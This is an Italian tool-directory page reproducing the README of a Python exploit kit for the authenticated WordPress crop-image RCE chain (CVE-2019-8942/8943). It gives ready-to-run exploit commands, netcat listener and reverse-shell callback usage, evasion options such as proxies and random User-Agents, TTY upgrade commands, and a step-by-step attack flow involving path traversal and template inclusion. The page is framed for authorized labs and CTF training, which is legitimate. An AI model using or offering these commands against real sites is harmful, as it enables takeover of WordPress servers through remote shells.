Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
WordPress-RCE-CVE-2019-8942 — Kit di exploit Python per WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943 | Kitploit
Strumenti/GitHubGitHub/speatx/wordpress-rce-cve-2019-8942
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCTFPenetration TestingApprendimento e FormazioneRed TeamingSviluppo PayloadLab e Pratica

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
GitHubspeatx/wordpress-rce-cve-2019-8942

WordPress-RCE-CVE-2019-8942

Kit di exploit Python per WordPress Crop Image RCE — CVE-2019-8942 & CVE-2019-8943

Vedi Repository
12 mesi faNon ancora revisionato

RCE tramite crop dell'immagine in WordPress — CVE-2019-8942 / CVE-2019-8943

Implementazione in Python3 della catena di exploit autenticato per il crop delle immagini in WordPress. Il repository è organizzato attorno a due flussi di lavoro indipendenti: uno script manuale in stile OSCP e uno script completamente automatizzato con un handler di reverse shell integrato.

Utilizza questo solo in laboratori autorizzati, CTF, piattaforme di formazione o sistemi per cui hai il permesso esplicito di testare.


Versioni di WordPress affette

La catena di exploit prende di mira le vulnerabilità tracciate come:

  • CVE-2019-8942
  • CVE-2019-8943

Il modulo Metasploit pubblico per questa vulnerabilità descrive le versioni affette come:

root@kitploit:~
WordPress 5.0.0 e WordPress <= 4.9.8

È necessario un account WordPress valido con permessi di caricamento/modifica dei media. In molti ambienti di laboratorio, un utente di livello Author è sufficiente.


Struttura del repository

root@kitploit:~
.
├── autoexploit.py
├── exploit_oscp.py
├── image.jpg
├── README.md
└── requirements.txt

image.jpg è il carrier JPG predefinito utilizzato dallo script in stile OSCP. È incluso in modo che il flusso di lavoro manuale funzioni immediatamente senza dover cercare un'immagine casuale.

autoexploit.py è autonomo e include internamente un proprio carrier JPG esadecimale, ma può anche accettare un JPG personalizzato con -i.


Installazione

root@kitploit:~
python3 -m pip install -r requirements.txt

L'unico pacchetto Python richiesto è:

root@kitploit:~
requests

Se desideri il supporto per proxy SOCKS, installa requests con le estensioni SOCKS nel tuo ambiente:

root@kitploit:~
python3 -m pip install 'requests[socks]'

Selezione dello script

Entrambi gli script sono autonomi. Nessuno dei due importa codice dall'altro.


Flusso di lavoro in stile OSCP

exploit_oscp.py mantiene il flusso di lavoro esplicito. Prepara il carrier dell'immagine, esegue la catena di exploit autenticato di WordPress, conferma l'esecuzione del comando e attiva una reverse shell verso il listener che hai avviato manualmente.

Non avvia automaticamente un handler e non utilizza Metasploit, Meterpreter o msfvenom.

Utilizzo base in stile OSCP

Avvia prima il tuo listener:

root@kitploit:~
nc -lvnp 443

Esegui l'exploit usando il default image.jpg:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Utilizzo OSCP con un JPG personalizzato

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./custom.jpg --lhost 10.10.14.8 --lport 443

Opzioni OSCP

Esempio OSCP con Burp

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password -i ./image.jpg --lhost 10.10.14.8 --lport 443 --proxy http://127.0.0.1:8080

Flusso di lavoro completamente automatizzato

autoexploit.py è progettato per la velocità. Può essere eseguito solo con le credenziali del target e proverà a selezionare automaticamente l'IP di callback e la porta del listener.

Esegue l'intero flusso di sfruttamento, avvia un listener locale, prova più stili di payload per reverse shell e apre una console interattiva più pulita con messaggi di stato locali colorati e gestione silenziosa dell'upgrade TTY.

Utilizzo automatizzato di base

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password

Utilizzo automatizzato con valori di callback espliciti

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Utilizzo automatizzato con immagine personalizzata e proxy

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password -i ./image.jpg --proxy http://127.0.0.1:8080

Opzioni automatizzate


Esempi di proxy e User-Agent

Proxy HTTP tramite Burp:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

Proxy SOCKS:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy socks5://127.0.0.1:9050

User-Agent personalizzato:

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --user-agent "Mozilla/5.0 Custom"

User-Agent casuale:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --random-user-agent

Perché l'immagine è importante

Non si tratta di un normale caricamento PHP. WordPress si aspetta contenuto immagine, elabora il file attraverso l'editor multimediale e crea un'immagine ritagliata. La catena di exploit abusa poi dei metadati degli allegati e del path traversal per posizionare un'immagine ritagliata all'interno della directory del tema attivo. Infine, il file ritagliato viene referenziato come template di pagina, così WordPress lo include come PHP.

Un JPG casuale con PHP inserito in metadati EXIF fragili potrebbe fallire perché GD può rimuovere o ricodificare i metadati durante l'elaborazione del ritaglio. Questo repository mantiene il flusso di lavoro chiaro:

  • exploit_oscp.py usa il image.jpg incluso per impostazione predefinita o un'immagine personalizzata passata con -i.
  • autoexploit.py contiene un carrier esadecimale interno per rimanere autonomo.
  • Entrambi i flussi di lavoro preparano il caricamento in modo da sopravvivere al passaggio di ritaglio di WordPress.

Flusso tecnico

  1. Autenticarsi a WordPress.
  2. Rilevare il tema attivo.
  3. Caricare il carrier JPG tramite async-upload.php.
  4. Ottenere i nonce del media, dell'editor di immagini e dell'allegato.
  5. Usare la manipolazione di _wp_attached_file per influenzare il percorso di output del ritaglio.
  6. Attivare l'azione di ritaglio una volta per preparare il comportamento.
  7. Attivare nuovamente l'azione di ritaglio con traversal nella directory del tema attivo.
  8. Creare un post e impostare _wp_page_template al nome del JPG ritagliato.
  9. Richiedere il post in modo che WordPress includa il JPG manipolato come template.
  10. Confermare l'esecuzione del comando tramite il parametro GET 0.
  11. Attivare una reverse shell verso l'endpoint di callback configurato o selezionato automaticamente.

Risoluzione dei problemi

L'autenticazione funziona ma l'esecuzione non è confermata

Verificare che la versione di WordPress sia vulnerabile e che l'account possa caricare e modificare i media.

root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443 --debug

L'esecuzione del comando è confermata ma non torna alcuna shell

Controllare l'IP di callback e il listener.

root@kitploit:~
ip addr show tun0
root@kitploit:~
nc -lvnp 443

Quindi eseguire nuovamente lo script OSCP con il --lhost corretto.

Burp non mostra il traffico

Usare esplicitamente l'opzione proxy:

root@kitploit:~
python3 autoexploit.py -t http://target.local/ -u username -p password --proxy http://127.0.0.1:8080

Il proxy SOCKS fallisce

Installare il supporto SOCKS:

root@kitploit:~
python3 -m pip install 'requests[socks]'

La shell sembra instabile

Le reverse shell di base sono spesso limitate. Lo script automatizzato cerca di aggiornare la sessione automaticamente. In modalità OSCP, aggiornare manualmente dopo aver ricevuto il callback:

root@kitploit:~
python3 -c 'import pty; pty.spawn("/bin/bash")'

Premere Ctrl+Z localmente, poi eseguire:

root@kitploit:~
stty raw -echo; fg

All'interno della shell:

root@kitploit:~
export TERM=xterm

Note sullo stile OSCP

exploit_oscp.py è intenzionalmente manuale:

  • nessun Metasploit;
  • nessun Meterpreter;
  • nessun handler automatico;
  • nessuna dipendenza da autoexploit.py;
  • listener esplicito controllato dall'operatore;
  • LHOST e LPORT espliciti;
  • output chiaro che mostra ogni fase.

Il flusso di lavoro previsto è:

root@kitploit:~
nc -lvnp 443
root@kitploit:~
python3 exploit_oscp.py -t http://target.local/ -u username -p password --lhost 10.10.14.8 --lport 443

Crediti

La ricerca e la catena di vulnerabilità sono state documentate pubblicamente dai ricercatori originali e successivamente implementate in framework di sfruttamento pubblici.

Implementazione Python e flusso di lavoro di laboratorio di SpeatX.


Avviso legale

Questo repository è fornito per test di sicurezza autorizzati, CTF, laboratori di formazione e ricerca educativa.

Non eseguirlo contro sistemi di cui non possiedi o non hai il permesso esplicito di testare.

Scarica lo strumento
ScriptIdeale perGestione immagineGestione shell
exploit_oscp.pySfruttamento manuale/stile OSCPUsa image.jpg di default, oppure -i custom.jpgAvvii nc manualmente
autoexploit.pyUso rapido in laboratorio e test ripetutiUsa un JPG esadecimale incorporato di default, oppure -i custom.jpgAvvia il listener, attiva i callback e apre una console interattiva
OpzioneObbligatorioPredefinitoSignificato
-t, --targetSìNessunoURL base di WordPress target, ad esempio http://target.local/
-u, --usernameSìNessunoNome utente WordPress
-p, --passwordSìNessunoPassword WordPress
-i, --imageNoimage.jpgCarrier JPG da preparare e caricare
--lhostSìNessunoIl tuo IP di callback, solitamente il tuo IP VPN/tun0
--lportSìNessunoPorta su cui è in ascolto il tuo listener manuale
--proxyNoNessunoURL del proxy, ad esempio http://127.0.0.1:8080 o socks5://127.0.0.1:9050
--user-agentNoIntegratoIntestazione User-Agent personalizzata
--random-user-agentNoDisabilitatoUsa un User-Agent casuale simile a un browser
--timeoutNo20Timeout HTTP in secondi
--debugNoDisabilitatoStampa output di debug HTTP e salva le risposte di errore utili
OpzioneObbligatorioPredefinitoSignificato
-t, --targetSìNessunoURL base di WordPress target
-u, --usernameSìNessunoNome utente WordPress
-p, --passwordSìNessunoPassword WordPress
-i, --imageNoJPG esadecimale incorporatoCarrier JPG personalizzato opzionale
--lhostNoRilevato automaticamenteIP di callback utilizzato dalla reverse shell
--lportNoPorta locale liberaPorta del listener locale
--listen-timeoutNo12Secondi di attesa per ogni tentativo di reverse shell
--proxyNoNessunoURL del proxy, ad esempio http://127.0.0.1:8080 o socks5://127.0.0.1:9050
--user-agentNoIntegratoIntestazione User-Agent personalizzata
--random-user-agentNoDisabilitatoUsa un User-Agent casuale simile a un browser
--timeoutNo20Timeout HTTP in secondi
--debugNoDisabilitatoStampa output di debug HTTP e salva le risposte di errore utili